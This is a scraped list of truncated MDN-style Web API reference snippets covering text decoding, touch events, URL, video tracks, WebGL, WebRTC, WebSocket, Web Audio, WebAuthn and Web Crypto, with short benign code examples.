() is called, and we’re changing the remaining one to the new text. what we have now is this: <p>thru-hiking is great, but <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.textcontent, or the longstanding element.innerhtml; that’s fine and probably clearer in most circumstances. if you have to work with mixed content within an element, as seen here, wholetext and replacewholetext() may be useful. replacewholetext() is obsolete. specifications specification status comment domthe definition of 'text.wholetext' in that specification. living standard no significant change. document object model (dom) level 3 core specificati...
TextDecoder.prototype.decode() - Web APIs
syntax b1 = decoder.decode(buffer, options); b2 = decoder.decode(buffer); b3 = decoder.decode(); parameters buffer optional is either an arraybuffer or an arraybufferview containing the text to decode. options optional is a textdecodeoptions dictionary with the property: stream a boolean flag indicating that additional data will follow in subsequent calls to decode(). set to true if processing the data in chunks, and false for the final chunk or if the data is not chunked. it defaults to false. ...
TextDecoder.prototype.encoding - Web APIs
it can be one of the following values: the recommended encoding for the web: 'utf-8'. the legacy single-byte encodings: 'ibm866', 'iso-8859-2', 'iso-8859-3', 'iso-8859-4', 'iso-8859-5', 'iso-8859-6', 'iso-8859-7', 'iso-8859-8'', 'iso-8859-8i', 'iso-8859-10', 'iso-8859-13', 'iso-8859-14', 'iso-8859-15', 'iso-8859-16', 'koi8-r', 'koi8-u', 'macintosh', 'windows-874', 'windows-1250', 'windows-1251', 'windows-1252', 'windows-1253', 'windows-1254', 'windows-1255', 'windows-1256', 'windows-1257', 'windows-1258', or 'x-mac-cyrillic'. ...
TextEncoder.encoding - Web APIs
it can only have the following value utf-8. ...
TextRange - Web APIs
Web › API › TextRange
boolean indicating whether the specified command can be executed successfully with the execcommand method in the current state of the given document. you can also see document.querycommandenabled(). textrange.querycommandstate() returns the boolean indicating the current state of the specified command. you can also see document.querycommandstate(). textrange.querycommandvalue() returns the domstring indicating the current value of the specified command. you can also see document.querycommandvalue(). textrange.scrollintoview() scroll the range to the visible range (top or bottom). it can be used as an alternative to element.scrollintoview in the lower version of ie. textrange.select() select the current range (i.e. the blue selection seen by the user). textrange.setendpoint() sets ...
TextTrack.mode - Web APIs
Web › API › TextTrack › mode
led, hidden, or showing. you can read this value to determine the current mode, and you can change this value to switch modes. safari additionally requires the default boolean attribute to be set to true when implementing your own video player controls in order for the subtitles cues to be shown. syntax var mode = texttrack.mode; texttrack.mode = "disabled" | "hidden" | "showing"; value a domstring which indicates the track's current mode. the text track mode is one of the values listed below, under text track mode constants. text track mode constants the text track mode—sometimes identified using the idl enum texttrackmode—must be one of the following values: disabled the text track is currently disabled. while the track's presence is exposed in the dom, the user agent is ot...
TextTrackCue - Web APIs
a texttrack. the cue includes the start time (the time at which the text will be displayed) and the end time (the time at which it will be removed from the display), as well as other information. properties this interface also inherits properties from eventtarget. texttrackcue.track read only the texttrack that this cue belongs to, or null if it doesn't belong to any. texttrackcue.id a domstring that identifies the cue. texttrackcue.starttime a double that represents the video time that the cue will start being displayed, in seconds. texttrackcue.endtime a double that represents the video time that the cue will stop being displayed, in seconds. texttrackcue.pauseonexit a boolean for whether the video will pause when this cue stops being displayed. event handlers texttrack...
getTrackById() - Web APIs
return value a texttrack object indicating the first track found within the texttracklist whose id matches the specified string. ...
TimeEvent - Web APIs
Web › API › TimeEvent
ext { fill: #0095dd; pointer-events: all;} properties timeevent.detail read only is a long that specifies some detail information about the event, depending on the type of the event. for this event type, indicates the repeat number for the animation. timeevent.view read only is a windowproxy that identifies the window from which the event was generated. methods inittimeevent(domstring typearg, abstractview viewarg, long detailarg) the inittimeevent method is used to initialize the value of a timeevent created through the documentevent interface. this method may only be called before the timeevent has been dispatched via the dispatchevent method, though it may be called multiple times during that phase if necessary. ...
Touch() - Web APIs
Web › API › Touch › Touch
hat is the horizontal position of the touch on the client window of user's screen, including any scroll offset. "pagey", optional and defaulting to 0, of type double, that is the vertical position of the touch on the client window of the user's screen, including any scroll offset. "radiusx", optional and defaulting to 0, of type float, that is the radius of the ellipse which most closely circumscribes the touching area (e.g. finger, stylus) along the axis indicated by rotationangle, in css pixels of the same scale as screenx; 0 if no value is known. the value must not be negative. "radiusy", optional and defaulting to 0, of type float, that is the the radius of the ellipse which most closely circumscribes the touching area (e.g. finger, stylus) along the axis perpendicular to that indi...
Touch - Web APIs
Web › API › Touch
lue includes the vertical scroll offset, if any. touch.target read only returns the element on which the touch point started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document. touch area touch.radiusx read only returns the x radius of the ellipse that most closely circumscribes the area of contact with the screen. the value is in pixels of the same scale as screenx. touch.radiusy read only returns the y radius of the ellipse that most closely circumscribes the area of contact with the screen. the value is in pixels of the same scale as screeny. touch.rotationangle read only returns the angle (in degrees) that the ellipse described by radiusx and radiusy ...
TouchEvent() - Web APIs
toucheventinit optional is a toucheventinit dictionary, having the following fields: "touches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact currently touching the surface. "targettouches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact that is touching the surface and started on the element that is the target of the current event. ...
TouchList.length - Web APIs
Web › API › TouchList › length
syntax var numtouches = touchlist.length; return value numtouches the number of touch points in touchlist. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
Touch events - Web APIs
w scans through the ongoingtouches array to find the touch matching the given identifier then returns that touch's index into the array. function ongoingtouchindexbyid(idtofind) { for (var i = 0; i < ongoingtouches.length; i++) { var id = ongoingtouches[i].identifier; if (id == idtofind) { return i; } } return -1; // not found } showing what's going on function log(msg) { var p = document.getelementbyid('log'); p.innerhtml = msg + "\n" + p.innerhtml; } if your browser supports it, you can see it live. jsfiddle example additional tips this section provides additional tips on how to handle touch events in your web application. handling clicks since calling preventdefault() on a touchstart or the first touchmove event of a series prevents the correspond...
TrackDefault.byteStreamTrackID - Web APIs
example tbd ...
TrackDefault.kinds - Web APIs
example tbd ...
TrackDefault.label - Web APIs
example tbd ...
TrackDefault.language - Web APIs
example tbd ...
TrackDefault.type - Web APIs
Web › API › TrackDefault › type
example tbd ...
TransitionEvent.transitionName - Web APIs
the transitionevent.transitionname read-only property is a domstring containing the name of the css property associated with the transition. syntax name = transitionevent.transitionname specifications specification status comment css transitionsthe definition of 'transitionevent.transitionname' in that specification. working draft initial definition. ...
TransitionEvent.pseudoElement - Web APIs
if the transition doesn't run on a pseudo-element but on the element, an empty string: ''. ...
TransitionEvent - Web APIs
the transitionevent interface represents events providing information related to transitions. constructor transitionevent() creates a transitionevent event with the given parameters. properties also inherits properties from its parent event. transitionevent.propertyname read only is a domstring containing the name css property associated with the transition. transitionevent.elapsedtime read only is a float giving the amount of time the transition has been running, in seconds, when this event fired. this value is not affected by the transition-delay property. transitionevent.pseudoelement read only is a domstring, starting with ::, containing the name of the pseudo-element the animation runs on. if the transition doesn't run on a pseudo-element but on the element...
UIEvent() - Web APIs
Web › API › UIEvent › UIEvent
uieventinit optional is a uieventinit dictionary, having the following fields: detail: optional and defaulting to 0, of type long, that is a event-dependant value associated with the event. uievent.detail lists the semantic for standard events. view: optional and defaulting to null, of type windowproxy, that is the window associated with the event . ...
UIEvent.cancelBubble - Web APIs
e dom. not all events are allowed to bubble up the dom. use event.stoppropagation() instead of this non-standard method. syntax event.cancelbubble = bool; var bool = event.cancelbubble; specifications this property is not part of any specification. although the similar event.cancelbubble property was included in an old working draft of w3c dom level 2. microsoft has a description of it on msdn. ...
UIEvent.layerY - Web APIs
Web › API › UIEvent › layerY
ioned element, where the returned value is relative to the top left of the positioned element. syntax var ypos = event.layery; ypos is an integer value in pixels for the y-coordinate of the mouse pointer, when the mouse event fired. ...
UIEvent.pageY - Web APIs
Web › API › UIEvent › pageY
tax var pagey = event.pagey; pagey is an integer value in pixels for the y-coordinate of the mouse pointer, relative to the whole document, when the mouse event fired. this property takes into account any vertical scrolling of the page. ...
ULongRange - Web APIs
le value of the property it describes. min a numeric value in the range of signed 32-bit integers, specifying the smallest permissible value of the property it describes. the specified min and/or and max values are required. if no match can be found that is within the given range, an error will occur. specifications specification status comment media capture and streamsthe definition of 'ulongrange' in that specification. candidate recommendation initial definition ...
URL.revokeObjectURL() - Web APIs
url(). call this method when you've finished using an object url to let the browser know not to keep the reference to the file any longer. note: this feature is available in web workers. note: this method is not available from service workers, due to issues with the blob interface's life cycle and the potential for leaks. syntax url.revokeobjecturl(objecturl) parameters objecturl a domstring representing a object url that was previously created by calling createobjecturl(). examples see using object urls to display images. specification specification status comment file apithe definition of 'revokeobjecturl()' in that specification. working draft initial definition ...
URL.search - Web APIs
Web › API › URL › search
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url. modern browsers provide the url.searchparams property to make it easy to parse out the parameters from the query string. note: this feature is available in web workers. syntax const searchparams = object.search url.search = newsearchparams value a usvstring. examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification. living standard initial definition. ...
URL.search - Web APIs
Web › API › URL › search?q=123
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url. modern browsers provide the url.searchparams property to make it easy to parse out the parameters from the query string. note: this feature is available in web workers. syntax const searchparams = object.search url.search = newsearchparams value a usvstring. examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification. living standard initial definition. ...
URL.toJSON() - Web APIs
Web › API › URL › toJSON
note: this feature is available in web workers. syntax const href = url.tojson() return value a usvstring. ...
USBDevice.manufacturerName - Web APIs
the manufacturername read only property of the usbdevice interface the of the organization that manufactured the usb device. syntax var serialnumber = usbdevice.manufacturername value a domstring. specifications specification status comment webusbthe definition of 'manufacturername' in that specification. draft initial definition. ...
USVString - Web APIs
Web › API › USVString
usvstring corresponds to the set of all possible sequences of unicode scalar values. usvstring maps to a string when returned in javascript; it's generally only used for apis that perform text processing and need a string of unicode scalar values to operate on. usvstring is equivalent to domstring except for not allowing unpaired surrogate codepoints. unpaired surrogate codepoints present in usvstring are converted by the browser to unicode 'replacement character' u+fffd, (�). specifications specification status comment web idlthe definition of 'usvstring' in that specification. candidate recommendation initial definition. ...
UserDataHandler - Web APIs
t.importnode() and node.clonenode(), although user data is not copied over, the handler will be called. properties none. methods handle (operation, key, data, src, dst) (no return value) this method is a callback which will be called if a node is being cloned, imported, renamed and as well, if deleted or adopted. operation (unsigned short) is an operation type integer (see below). key (domstring) is the user key. data (domuserdata) is the user data. src (node) is the source node (null if being deleted). dst (node) is the destination node (if any, or null). constants constant value operation node_cloned 1 node.clonenode() node_imported 2 document.importnode() node_deleted unimplemented (see bug 550400) 3 nod...
VTTCue() - Web APIs
Web › API › VTTCue › VTTCue
e from 50 seconds to a one minute, five and a half seconds in the media's playback, starttime will be 50.0. endtime this is a double representing the ending time for this text track cue. this is the time at which the cue should stop being presented to the user, given in seconds and fractions thereof. given the example cue mentioned under starttime, the value of endtime would be 65.5. text a domstring providing the text that will be shown during the time span indicated by starttime and endtime. return value a new vttcue object representing a cue which will be presented during the time span given. example // create a cue that is shown from 2 to 3 seconds and uses the given text. var cue = new vttcue(2, 3, 'cool text to be displayed'); specifications specification status ...
VTTCue - Web APIs
Web › API › VTTCue
vttcue.positionalign returns an enum representing the alignment of the cue. this is used to determine what the vttcue.position is anchored to. the default is auto. vttcue.size returns a double representing the size of the cue, as a percentage of the video size. vttcue.textalign returns an enum representing the alignment of all the lines of text within the cue box. vttcue.text returns a domstring with the contents of the cue. methods getcueashtml() returns the cue text as a documentfragment. example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtextt...
VTTRegion - Web APIs
Web › API › VTTRegion
vttregion.width a double representing the width of the region, as a percentage of the video. vttregion.lines a double representing the height of the region, in number of lines. ...
VideoPlaybackQuality.totalVideoFrames - Web APIs
ideoframes read-only property returns the total number of video frames that have been displayed or dropped since the media was loaded. syntax value = videoplaybackquality.totalvideoframes; value the total number of frames that the <video> element has displayed or dropped since the media was loaded into it. essentially, this is the number of frames the element would have presented had no problems occurred. this value is reset when the media is reloaded or replaced. example this example calls getvideoplaybackquality() to obtain a videoplaybackquality object, then determines what percentage of frames have been lost by either corruption or being dropped. if that exceeds 10% (0.1), a function called lostframesthresholdexceeded() is called to, perhaps, update a quality indicator to show an ...
VideoTrack.id - Web APIs
Web › API › VideoTrack › id
ins a string which uniquely identifies the track represented by the videotrack. this id can be used with the videotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element. the track id can also be used as the fragment of a url that loads the specific track (if the media supports media fragments). syntax var trackid = videotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an videotracklist such as the one specified by a media element's videotracks property. specifications specification status comment html living standardthe definition of 'videotrack: id' in that specification. living standard ...
VideoTrack.kind - Web APIs
Web › API › VideoTrack › kind
the kind property contains a string indicating the category of video contained in the videotrack. the kind can be used to determine the scenarios in which specific tracks should be enabled or disabled. see video track kind strings for a list of the kinds available for video tracks. syntax var trackkind = videotrack.kind; value a domstring specifying the type of content the media represents. the string is one of those found in video track kind strings below. video track kind strings the kinds available for video tracks are: "alternative" a potential alternative to the main track, such as a different video take or a version of the soundtrack with only the music and no dialogue. "captions" a version of the main video track with captions burnt in. "main" the primary video track. ...
VideoTrack.label - Web APIs
Web › API › VideoTrack › label
otherwise, an empty string ("") is returned. for example, a track whose kind is "sign" might have a label such as "a sign-language interpretation.". ...
Videotrack.language - Web APIs
the read-only videotrack property language returns a string identifying the language used in the video track. for tracks that include multiple languages (such as a movie in english in which a few lines are spoken in other languages), this should be the video's primary language. syntax var videotracklanguage = videotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the video track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech. for example, if the primary language used in the track is united states english, this value would be "en-us". for brazilian portuguese, the value would be "pt-br". specifications specification status comment ...
getTrackById - Web APIs
return value a videotrack object indicating the first track found within the videotracklist whose id matches the specified string. ...
VisualViewport - Web APIs
resized. also available via the visualviewport.onresize property. scroll fired when the visual viewport is scrolled. also available via the visualviewport.onscroll property. examples hiding an overlaid box on zoom this example, taken from the visual viewport readme, shows how to write a simple bit of code that will hide an overlaid box (which might contain an advert, say) when the user zooms in. this is a nice way to improve the user experience when zooming in on pages. a live sample is also available. var bottombar = document.getelementbyid('bottombar'); var viewport = window.visualviewport; function resizehandler() { if (viewport.scale > 1.3) bottombar.style.display = "none"; else bottombar.style.display = "block"; } window.visualviewport.addeventlistener('resiz...
Visual Viewport API - Web APIs
creen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page. visual viewport concepts and usage the mobile web contains two viewports, the layout viewport and the visual viewport. the layout viewport covers all the elements on a page and the visual viewport is what is actually visible on the screen. when the user pinch-zooms into the page, the visual viewport shrinks but the layout viewport is unchanged. user-interface features like the on-screen keyboard (osk) can shrink the visual viewport without affecting the layout viewport. what happens when a web page element needs to be visible on screen regardless of the visible portion of a web page? for example, what if you need a set of image controls to remain on screen...
WEBGL_debug_renderer_info - Web APIs
e webgl_debug_renderer_info extension is part of the webgl api and exposes two constants with information about the graphics driver for debugging purposes. depending on the privacy settings of the browser, this extension might only be available to privileged contexts. generally, the graphics driver information should only be used in edge cases to optimize your webgl content or to debug gpu problems. the webglrenderingcontext.getparameter() method can help you to detect which features are supported and the failifmajorperformancecaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow. webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in t...
WebGL2RenderingContext.getActiveUniformBlockName() - Web APIs
the webgl2renderingcontext.getactiveuniformblockname() method of the webgl 2 api retrieves the name of the active uniform block at a given index within a webglprogram. syntax domstring gl.getactiveuniformblockname(program, uniformblockindex); parameters program a webglprogram containing the uniform block. uniformblockindex a gluint specifying the index of the uniform block to whose name to retrieve. return value a domstring indicating the active uniform block name. examples var blockname = gl.getactiveuniformblockname(program, 0); specifications specification status comment webgl 2.0the definition of 'getactiveuniformblockname' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of '...
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
m block. uniformblockindex a gluint specifying the index of the active uniform block within the program. pname a glenum specifying which information to query. possible values: gl.uniform_block_binding: returns a gluint indicating the uniform buffer binding point. gl.uniform_block_data_size: returns a gluint indicating the minimum total buffer object size. gl.uniform_block_active_uniforms: returns a gluint indicating the number of active uniforms in the uniform block. gl.uniform_block_active_uniform_indices: returns a uint32array indicating the list of active uniforms in the uniform block. gl.uniform_block_referenced_by_vertex_shader: returns a glboolean indicating whether the uniform block is referenced by the vertex shader. gl.uniform_block_referenced_by_fragment_shader: r...
WebGL2RenderingContext.getFragDataLocation() - Web APIs
return value a glint indicating the assigned color number binding, or -1 otherwise. ...
WebGL2RenderingContext.getUniformBlockIndex() - Web APIs
return value a gluint indicating the uniform block index. ...
WebGL2RenderingContext.transformFeedbackVaryings() - Web APIs
buffermode a glenum specifying the mode to use when capturing the varying variables. either gl.interleaved_attribs or gl.separate_attribs. ...
WebGLProgram - Web APIs
this is shown in the code below. ...
WebGLRenderingContext.bindAttribLocation() - Web APIs
the webglrenderingcontext.bindattriblocation() method of the webgl api binds a generic vertex index to an attribute variable. syntax void gl.bindattriblocation(program, index, name); parameters program a webglprogram object to bind. index a gluint specifying the index of the generic vertex to bind. name a domstring specifying the name of the variable to bind to the generic vertex index. this name cannot start with "webgl_" or "_webgl_", as these are reserved for use by webgl. return value none. examples gl.bindattriblocation(program, colorlocation, 'vcolor'); specifications specification status comment webgl 1.0the definition of 'bindattriblocation' in that specification. recommendation initial definition. opengl es 2.0the definitio...
WebGLRenderingContext.bufferData() - Web APIs
nt specifying the element index offset where to start reading the buffer. length optional a gluint defaulting to 0. return value none. exceptions a gl.out_of_memory error is thrown if the context is unable to create a data store with the given size. a gl.invalid_value error is thrown if size is negative. a gl.invalid_enum error is thrown if target or usage are not one of the allowed enums. examples using bufferdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); getting buffer information to check the current buffer usage and buffer size, use the webglrenderingcontext.getbufferparameter() method. gl.getbufferpara...
WebGLRenderingContext.bufferSubData() - Web APIs
that will be copied into the data store. srcoffset a gluint specifying the element index offset where to start reading the buffer. length optional a gluint defaulting to 0. return value none. exceptions a gl.invalid_value error is thrown if the data would be written past the end of the buffer or if data is null. a gl.invalid_enum error is thrown if target is not one of the allowed enums. examples using buffersubdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); gl.buffersubdata(gl.array_buffer, 512, data); specifications specification status comment webgl 1.0the definition of 'buffersub...
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
s in a renderable internal format. renderbuffer a webglrenderbuffer object to attach. return value none. exceptions a gl.invalid_enum error is thrown if target is not gl.framebuffer, gl.draw_framebuffer, or gl.read_framebuffer. a gl.invalid_enum error is thrown if renderbuffertarget is not gl.renderbuffer. a gl.invalid_enum error is thrown if attachment is not one of the allowed enums. examples gl.framebufferrenderbuffer(gl.framebuffer, gl.color_attachment0, gl.renderbuffer, renderbuffer); specifications specification status comment webgl 1.0the definition of 'framebufferrenderbuffer' in that specification. recommendation initial definition for webgl. opengl es 2.0the definition of 'glframebufferrenderbuffer' in that specification. ...
WebGLRenderingContext.getAttribLocation() - Web APIs
return value a glint number indicating the location of the variable name if found. returns -1 otherwise. ...
WebGLRenderingContext.getProgramInfoLog() - Web APIs
the webglrenderingcontext.getprograminfolog returns the information log for the specified webglprogram object. it contains errors that occurred during failed linking or validation of webglprogram objects. syntax gl.getprograminfolog(program); parameters program the webglprogram to query. return value a domstring that contains diagnostic messages, warning messages, and other information about the last linking or validation operation. when a webglprogram object is initially created, its information log will be a string of length 0. examples checking program errors var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getprograminfolog(program); specificati...
WebGLRenderingContext.getShaderInfoLog() - Web APIs
when a webglshader object is initially created, its information log will be a string of length 0. ...
WebGLRenderingContext.getShaderSource() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, originalsource); var source = gl.getshadersource(shader); specifications specification status comment webgl 1.0the definition of 'getshadersource' in that specification. recommendation initial definition. ...
WebGLRenderingContext.isContextLost() - Web APIs
the connection, then selects one of the two to restore access for. the user's computer has multiple graphics processors (such as a laptop with both mobile and desktop class gpus, the former used primarily when on battery power), and the user or system decides to switch gpus. in this case, all contexts are lost, then restored after switching gpus. another page running in the user's browser performs an operation using the gpu that takes too long, causing hte browser to decide to reset the gpu in order to break the stall. this would cause every webgl context to be lost throughout the entire browser. the user updates their graphics driver on an operating system that allows graphics drivers to be updated without restarting the system. examples for example, when checking for program linking ...
WebGLRenderingContext.shaderSource() - Web APIs
return value none. ...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
gl.linkprogram(shaderprogram); or we can use the index provided by the graphics card instead of setting the index ourselves; this avoids the re-linking of the shader program. const locposition = gl.getattriblocation(shaderprogram, 'position'); gl.vertexattribpointer(locposition, 3, gl.float, false, 20, 0); gl.enablevertexattribarray(locposition); const locnormal = gl...
WebGLRenderingContext.viewport() - Web APIs
context, the size of the viewport will match the size of the canvas. however, if you resize the canvas, you will need to tell the webgl context a new viewport setting. in this situation, you can use gl.viewport. gl.viewport(0, 0, canvas.width, canvas.height); the viewport width and height are clamped to a range that is implementation dependent. to get this range, you can use the max_viewport_dims constant, which returns an int32array. gl.getparameter(gl.max_viewport_dims); // e.g. int32array[16384, 16384] to get the current viewport, query the viewport constant. gl.getparameter(gl.viewport); // e.g. int32array[0, 0, 640, 480] specifications specification status comment webgl 1.0the definition of 'viewport' in that specification. recommendation initial ...
A basic 2D WebGL animation example - Web APIs
rrentangle) into radians, then setting the first component of the rotation vector to the sine of that value and the second component to the cosine. the currentrotation vector is now the location of the point on the unit circle located at the angle currentangle. useprogram() is called to activate the glsl shading program we established previously. then we obtain the locations of each of the uniforms used to share information between the javascript code and the shaders (with getuniformlocation()). the uniform named uscalingfactor is set to the currentscale value previously computed; this, as you may recall, is the value used to adjust the coordinate system based on the aspect ratio of the context. this is done using uniform2fv() (since this is a 2-value floating-point vector). urotationvect...
Color masking - Web APIs
ng off some channel(s), we are in fact biasing the displayed colors towards the complementary color. so, clearly masking both blue and red, would give us shades of green. masking only the blue channel would give us shades of yellow (including shades of orange, brown, olive and yellow-green), the complementary of blue. similarly, masking only green would give us shades of magenta (also purples, crimsons, and so on), and masking only red would give shades of cyan (also sea greens, blues, and so on). note that the calls to colormask() only occur when the user clicks on one of the toggle buttons. but rendering is done every second, using the timer. the color mask state of webgl is preserved, so we do not need to call colormask() every frame to set up the color mask. this is an important aspect ...
Scissor animation - Web APIs
a simple webgl example in which we have some animation fun using scissoring and clearing operations. animation with scissoring in this example, we are animating squares using scissor() and clear(). we again establish an animation loop using timers. note that this time it is the position of the square (the scissoring area) that is updated every frame (we set frame rate to roughly one every 17ms, or roughly 60fps – frames per second). in contrast, the color of the square (set with clearcolor) is only updated when a new square is created. this is a nice demonstration of webgl as a state machine. for each square, we set its color once, and then update only its position every frame. the clear color state of webgl remains at the set value, until we change it again when a new square is cre...
Getting started with WebGL - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page background. this article will introduce you to the basics of using webgl. ...
Lighting in WebGL - Web APIs
elation to the light source: const normalmatrix = mat4.create(); mat4.invert(normalmatrix, modelviewmatrix); mat4.transpose(normalmatrix, normalmatrix); ... gl.uniformmatrix4fv( programinfo.uniformlocations.normalmatrix, false, normalmatrix); update the shaders now that all the data the shaders need is available to them, we need to update the code in the shaders themselves. the vertex shader the first thing to do is update the vertex shader so it generates a shading value for each vertex based on the ambient lighting as well as the directional lighting. let's take a look at the code: const vssource = ` attribute vec4 avertexposition; attribute vec3 avertexnormal; attribute vec2 atexturecoord; uniform mat4 unormalmatrix; uniform mat4 u...
WebGL tutorial - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page background. this tutorial describes how to use the <canvas> element to draw webgl graphics, starting with the basics. ...
WebGL types - Web APIs
Web › API › WebGL API › Types
see also the list of constants. glboolean boolean a boolean. glbitfield unsigned long a bit field that stores multiple, logical bits. used for example in webglrenderingcontext.clear(). glbyte byte 8-bit twos complement signed integer. glshort short 16-bit twos complement signed integer. ...
WebRTC coding guide - Web APIs
once you have an overall understanding of what webrtc does and how it works, your mind likely turns to implementation. how do you create a web application that uses two-way video or data streams without having to do all the hard work of compressing frames, building streams, and so forth by yourself? this coding guide will explain in depth how webrtc works, and will dive into actual code that uses webrtc to do useful things. there are no subpages at this time. if you need to learn more about the fundamentals of how webrtc and its protocols work, check out our high-level guides for webrtc. ...
A simple RTCDataChannel sample - Web APIs
egin typing another message. receiving messages when a "message" event occurs on the remote channel, our handlereceivemessage() method is called as the event handler. function handlereceivemessage(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } this method simply performs some basic dom injection; it creates a new <p> (paragraph) element, then creates a new text node containing the message text, which is received in the event's data property. this text node is appended as a child of the new element, which is then inserted into the receivebox block, thereby causing it to draw in the browser window. disconnecting the peers when the user clicks the "disconnect" but...
Using WebRTC data channels - Web APIs
256kib, that's large enough to cause noticeable delays in handling urgent traffic. if you go even larger, the delays can become untenable unless you are certain of your operational conditions. in order to resolve this issue, a new system of stream schedulers (usually referred to as the "sctp ndata specification") has been designed to make it possible to interleave messages sent on different streams, including streams used to implement webrtc data channels. this proposal is still in ietf draft form, but once implemented, it will make it possible to send messages with essentially no size limitations, since the sctp layer will automatically interleave the underlying sub-messages to ensure that every channel's data has the opportunity to get through. firefox support for ndata is in the process...
Improving compatibility using WebRTC adapter.js - Web APIs
r to work around compatibility issues in different browsers' webrtc implementations. the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support. there's no need to conditionally use prefixed apis or implement other workarounds. note: since there is ongoing fluidity in functionality and naming of api terms in webrtc and supporting browsers, use of this adapter is generally recommended. the adapter is provided under a bsd-style license. what adapter.js does for each version of each browser that supports webrtc, adapter.js implements the needed polyfills, establishes the non-prefixed names of apis, and applies any other changes needed to make the browser run code written to the webrtc specificati...
WebSocket.binaryType - Web APIs
"arraybuffer" if arraybuffer objects are used. ...
WebSocket.extensions - Web APIs
the websocket.extensions read-only property returns the extensions selected by the server. this is currently only the empty string or a list of extensions as negotiated by the connection. syntax var extensions = awebsocket.extensions; value a domstring. specifications specification status comment html living standardthe definition of 'websocket: extensions' in that specification. living standard initial definition ...
WebSocket.protocol - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: protocol' in that specification. living standard initial definition ...
WebSocket.url - Web APIs
Web › API › WebSocket › url
the websocket.url read-only property returns the absolute url of the websocket as resolved by the constructor. syntax var url = awebsocket.url; value a domstring. specifications specification status comment html living standardthe definition of 'websocket: url' in that specification. living standard initial definition ...
Writing a WebSocket server in Java - Web APIs
first steps websockets communicate over a tcp (transmission control protocol) connection. java's serversocket class is located in the java.net package. ...
Basic concepts behind Web Audio API - Web APIs
using a velocity vector and the direction the listener's head is pointing using two direction vectors: up and front. these respectively define the direction of the top of the listener's head, and the direction the listener's nose is pointing, and are at right angles to one another. ...
Using the Web Audio API - Web APIs
ay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play. these special requirements are in place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibility problems. you can learn more about this in our article autoplay guide for media and web audio apis. since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no problems from autoplay blocking. so, let's start by taking a look at our play and pause functionality. we have a play button that changes to a pause button ...
Visualizations with Web Audio API - Web APIs
the analyser node will then capture audio data using a fast fourier transform (fft) in a certain frequency doma...
Attestation and Assertion - Web APIs
low describe attestation, which happens during registration, and assertion which happens during authentication. attestation when an authenticator registers a new key pair with a service, the authenticator signs the public key with an attestation certificate. the attestation certificate is built into the authenticator during manufacturing time and is specific to a device model. that is, all "samsung galaxy s8" phones, manufactured at a specific time or particular manufacturing run, have the same attestation certificate. the attestation is returned through the webauthn api as the authenticatorattestationresponse. the attestation format contains two basic arraybuffers: clientdatajson - an arraybuffer that contains a json representation of what the browser saw when being asked to...
Web Crypto API - Web APIs
warning: the web crypto api provides a number of low-level cryptographic primitives. it's very easy to misuse them, and the pitfalls involved can be very subtle. even assuming you use the basic cryptographic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts. errors in security system design and implementation can make the security of the system completely ineffective. ...
Web Locks API - Web APIs
ocks are requested out-of-order. if tab 1 holds lock a and tab 2 holds lock b, then tab 1 attempts to also acquire lock b and tab 2 attempts to also acquire lock a, neither request can be granted. web applications can avoid this through several strategies, such as ensuring lock requests are not nested, or are always well ordered, or have timeouts. note that such deadlocks only affect the locks themselves and code depending on them; the browser, other tabs, and other script in the page is not affected. interfaces lock provides the name and mode of a previously requested lock, which is received in the callback to lockmanager.request(). lockmanager provides methods for requesting a new lock object and querying for an existing lock object. to get an instance of lockmanager, call navigator...
Web Speech API - Web APIs
